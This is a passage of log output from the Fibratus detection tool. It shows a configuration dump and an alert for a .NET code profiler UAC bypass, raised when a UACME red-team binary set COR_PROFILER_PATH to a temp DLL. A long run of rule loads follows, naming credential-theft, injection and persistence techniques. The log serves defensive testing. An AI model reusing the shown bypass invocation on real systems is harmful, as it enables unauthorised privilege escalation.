max-size=>100 max-backups=>15 level=>info log-stdout=>true formatter=>text max-age=>0] + output ......................... [ amqp=>[ passive=>false durable=>false exchange=>fibratus exchange-type=>topic timeout=>5s delivery-mode=>transient routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true trace-log=>false enabled=>false flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s template-name=>fibratus sniff=>false healthcheck-interval=>10s index-name=>fibratus timeout=>5s bulk-workers=>1] http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false excluded-procs=>[] skip-mmaps=>false excluded-files=>[] scan-timeout=>10s fastscan=>true skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:40:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:40:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:40:44+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5117772 + Pid: 10672 + Tid: 19712 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 18:40:40.6666753 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce861ccb08f0, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 10672 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T18:41:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:41:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:41:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:42:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:42:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + 